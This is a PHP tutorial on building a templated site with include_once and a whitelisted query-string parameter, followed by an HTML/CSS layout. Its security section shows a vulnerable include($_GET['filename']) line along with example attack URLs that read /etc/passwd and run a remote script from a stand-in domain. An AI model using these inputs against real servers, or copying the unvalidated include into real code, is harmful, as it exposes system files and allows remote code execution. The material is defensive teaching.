Porto

Introduction to PHP templating

Introduction to PHP templating

Parsing the query string:

An introduction to templating and inclusion in PHP

by Kevin Waterson

Contents

  1. What is this all about?
  2. What is a template?
  3. How is it done?
  4. Setting a default main page.
  5. The query string
  6. Including a variable file name.
  7. Putting it all together
  8. Security
  9. HTML Template
  10. Conclusion

What is this all about?

We have all seen web sites that keep a nice tidy menu bar and header and have the content change when a link is clicked. How do they change only the content and keep the rest of the site the same. This effect is a basic form of templating with PHP. The basics are very simple, but there are some major security issues involved that must be addressed. The security is not an issue with PHP, but an issue with how it is coded. More on this later. The rest of this tutorial presumes you have a working knowledge of HTML and a clue(tm).

What is a template?

In its simplest form, a template is an outline for a website. it contains all the layout and perhaps some CSS for that purpose. For the purpose of this tutorial, we will be using a simple html layout with a sidebar menu and a header and a main content section. This is quite a common layout and we will be making the main content dynamic, so that by clicking a link in the menu, the main content will be changed by including a seperate php file.

How is it done?

Firstly, we need to start off with a template file. We will use a very basic CSS layout. The template page can be found at the bottom of this page

In our layout you can see the Content div within the page. it has this line before it..
<!-- Begin Dynamic Content -->
and this line after it
<!-- End Dynamic Content -->
We wish to work in the div within this section. This is the Content div or section.

Setting a default main page.

Now we have our basic template layout, we can turn our attention to the content. In our html we have a section called Content. It is within this section that our dynamic content will be shown. First we need to create a file called main.php. It will look like this..

<h1>We can have html in our included file</h1>

<?php
// Here we will echo some simple text 
echo '<p>This is where the main content will be</p>';
?>

<p>More html stuff can go here.</p>

You may wish to now create your page1.php, page2.php, page3.php, and page4.php files. These can simply be copies of the main.php file and the content of them can be altered for different needs. eg: use this code for page1.php:

<h1>Welcome to page one.</h1>

<?php
// Here we will echo some simple text
echo '<p>This is the text in page one</p>';
?>

<p>Lots more info on http://www.phpro.org.</p>

Now create page2.php etc

With our main.php created, we can now alter our template to include the main.php page. Here we move to the Dynamic Content section of our html code and delete everything between
<div class="Content">
and the closing <div>

In the place of the content, we will put a this piece of php code

<?php
// include the main.php page
include_once('main.php');
?>

So now the finished Content Section in our template.php file looks like this


<!-- Begin Dynamic Content -->
<div class="Content">

<?php
// include the main.php page
include_once('main.php');
?>

</div>
<!-- End Dynamic Content -->

Ok, lets see what we have done here. Have a look at your template page now with the included main.php and if you look at the source code, it is just as if you had typed in the main.php contents. This is how include works.
But why did you use include_once() instead of include()?
Glad you asked... include_once is used to avoid problems that may occur if later another page includes templage.php AND main.php, the main.php file would only be included once or you may have an infinite loop problem.

The query string?.

The query string is that piece of the URL that allows us to use variables in our PHP code. An example of a url is simply
http://www.example.com/template.php
But we can also carry other information within this also, and the values of this can be used in our PHP code. Here, we will demonstrate a variable named "page" that has a value of "page1".
http://www.example.com/template.php?page=page1
Query string variables begin after the normail URL and begin with the "?" character. This tells the web server that a variable is coming its way.

With this in mind, we can look at the source code of the template.php file and we see that the menu has several links within it like this:
<li><a href="<?php echo $_SERVER['PHP_SELF'];?>">Home</a></li>
<li><a href="<?php echo $_SERVER['PHP_SELF'];?>?page=page1">Page One</a></li>
<li><a href="<?php echo $_SERVER['PHP_SELF'];?>?page=page2">Page Two</a></li>
<li><a href="<?php echo $_SERVER['PHP_SELF'];?>?page=page3">Page Three</a></li>
<li><a href="<?php echo $_SERVER['PHP_SELF'];?>?page=page4">Page Four</a></li>

What does this mean?
Another good question. The part of the link that looks like this
<?php echo $_SERVER['PHP_SELF'];?>
This is a PHP SUPER GLOBAL and it refers to the name of the script page it. If the page was named template.php then this code would be replaced with "template.php". Have a look at the View Source of template.php with your web browser to see this in action.

The next part of the URL is a piece of code that looks like this:
?page=page1
This is the part of the query string that carries the variable named "page". In this example, the value of the variable named page is "page1". To access and use this variable, we use another PHP SUPER GLOBAL called $_GET. It will look like this:
$_GET['page']
If we were to echo this variable, it would echo "page1".

Including a variable file name.

We now have the basic building blocks to be able to put this all together. Before you do, it is HIGHLY recommended you read the section on security. If you do not read it now, be sure you do later, it contains information vital to the safety of your site.

To put all this together, we again visit the section of code labelled like
<!-- Begin Dynamic Content -->
We will now change this section to include a variable that will include different pages, and provide security for our site. For security purposes we begin with an array of allowed pages that we can use in our site. So, our array will look like this:

$allowedPages = array('page1', 'page2', 'page3', 'page4');


Next we need to check if the query string contains a variable named page and if it is, we can include the appropriate php file.. A simple "if" statement should do it.

if(isset($_GET['page']) && in_array($_GET['page'], $allowedPages)){

To include the variable that contains the file name, we use the $_GET['page'] variable and simply ad ".php" to the end of it like this:


   include_once($_GET['page'].'.php');
   } else {
   include_once('main.php');
}

Putting it all together.

With all the building blocks we have now, we can complete our script and put it in the template.php file. We should also add some checking to be sure that the page.php file that is to be included actually exists in the file system. Our final code block should look like this


<!-- Begin Dynamic Content -->
<div class="Content">

<?php
  
// create an array of allowed pages
  
$allowedPages = array('page1''page2''page3''page4');
  
  
// check if the page variable is set and check if it is the array of allowed pages
  
if(isset($_GET['page']) && in_array($_GET['page'], $allowedPages))
    {
    
// first check that the file exists
    
if(file_exists($_GET['page'].'.php'))
        {
        
//  If all is well, we include the file
        
include_once($_GET['page'].'.php');
        }
    else
        {
        
// A little error message if the file does not exist
        
echo 'No such file exists';
        }

    }
  
// if somebody typed in an incorrect url
  
else
    {
    
// if things are not as they should be, we included the default page
    
if(file_exists('main.php'))
        {
        
// include the default page 
        
include_once('main.php');
        }
    else
        {
        
// if the default page is missing, we have a problem and it needs to be fixed.
        
echo 'main.php is missing. Please fix me.';
        }
    }

?>

</div>
<!-- End Dynamic Content -->

Security?

As with all programming languages, security should be at the forefront of your coding. This is most important when taking information from users. In PHP, there are several methods in which users may send information to the script. Predominately $_POST and $_GET. With these SUPER GLOBALS a script can make good use of information from a user. Problems may arise if a malicious user wishes to exploit these variables. A simple rule for programming is
NEVER TRUST INPUT FROM USERS!

Lets take a simple script like the one we have been working on here. This script takes a variable from the URL that may be typed in by the user. Consider this piece of code.

<?php include($_GET['filename']); ?>

Without adequate error checking and validating of the value of the variable filename, the system is open to attack should somebody use a URL like:
http://www.example.com/script.php?filename=/etc/passwd
Now the contents of your website contains information you may not wish to be made public.

But it could be worse, Consider the same piece of code, but this time, we use a URL like:
http://www.example.com/script.php?filename=http://my_domain.com/my-nasty-script.php
Now we really have a serious issue, the malicious user can now run his own scripts on our server.

Before you use values from the SUPER GLOBALS arrays, always validate them to make sure they do not contain unexpected input. If you know what type of value you are expecting, make sure what you've got conforms to an expected format. For example, if you're expecting a number between 0 and 10, add some checks with is_numeric() and check if the number is greater than or equal to zero and less than or equal to ten.

It is recommended you read the PHP manual section on security.

HTML Template



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- Based on a template by Ben Meadowcroft, see http://www.benmeadowcroft.com/webdev/  for more info-->
<title>My Amazing template site</title>
<style type="text/css">
<!--

body{
    color : black;
    background-color : rgb(255,255,255);
    font-family:sans-serif;
}

h1, h2, h3, h4, h5, h6{
    margin:0px;
    padding:0px;
}

.title{
    position:absolute;
    top:0px;
    left:0.5em;
    height:1em;
    margin-left : auto;
    margin-right: auto;
    padding: 5px;
    z-index : 0;
}

.sidebar{
    position : absolute;
    top : 5em;
    left : 1%;
    width : 10em;
    z-index : 1;
    padding : 0em;
}

.menu
{
    padding : 0.5em;
    margin-bottom : 0.5em;
    text-align : center;
    border : thin solid rgb(0,0,0);
    font-weight : bold;
}

.menu a
{
    display : block;
    color : rgb(0,0,0);
    background-color : inherit;
}


.menu a:hover
{
    color : rgb(255,64,64);
    background-color : rgb(230,230,250);
}

.other
{
    padding :0.5em;
    margin-top : 0.5em;
text-align : center;
    border : thin solid rgb(0,0,0);
    background-color : inherit;
    color : rgb(0,0,0);
    font-weight : bold;
}

.Content
{
    margin-top : 5em;
    margin-left : 12em;
    padding : 1em;
    margin-right : 1em;
    color : rgb(0,0,0);
    background-color : rgb(255,255,255);
    border : thin solid;
    max-width:45em;
}

ul{
        list-style:none;
}

ul.menu
{
    list-style:none;
    margin:0px;
}

ul.menu li
{
    display:inline;
}

-->

</style>
</head>
<body>

<div class="title">
<h1>My Amazing Template Site</h1>
</div>


<!-- Begin Dynamic Content -->
<div class="Content">
<p>This is the template layout of we use in this tutorial. All the code belongs in this area
for the Dynamic Content. Below is some dummy text in latin to fill it out. It is left as a  task
for the user to translate it.
</p>
<h2>Dummy text</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
<p>Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?</p>

</div>
<!-- End Dynamic Content -->

<!-- Begin sidebar Content -->
<div class="sidebar" id="sidebar">
<ul class="menu">
<li>Templates</li>
<li><a href="<?php echo htmlentities($_SERVER['PHP_SELF']);?>">Home</a></li>
<li><a href="<?php echo htmlentities($_SERVER['PHP_SELF']);?>?page=page1">Page One</a></li>
<li><a href="<?php echo htmlentities($_SERVER['PHP_SELF']);?>?page=page2">Page Two</a></li>
<li><a href="<?php echo htmlentities($_SERVER['PHP_SELF']);?>?page=page3">Page Three</a></li>
<li><a href="<?php echo htmlentities($_SERVER['PHP_SELF']);?>?page=page4">Page Four</a></li>
<li>&nbsp;</li>
<li><a href="http://www.phpro.org">Link</a></li>
<li><a href="http://www.phpro.org">Link</a></li>
<li><a href="http://www.phpro.org">Link</a></li>
<li>&nbsp;</li>
<li><a href="http://www.phpro.org">Link</a></li>
<li><a href="http://www.phpro.org">Link</a></li>
<li><a href="http://www.phpro.org">Link</a></li>
</ul>

  <div class="other">
  <p>Get all your PHP needs from PHPro.org</p>
  </div>

</div>
<!-- End sidebar Content -->

</body>
</html>

Conclusion

The use of PHP and HTML as a solution is not without its limitations. Many of these are concerned with the lack of state. It should be pointed out however that many of these limitations are in fact design decisions and some are aspects of the fact that PHP is a server side scripting language Also many of these can be solved with good use of best practices. Don't like combining Business and Display logic? Then don't combine them. Worried about cluttering the global namespace? Then use objects for scope. etc.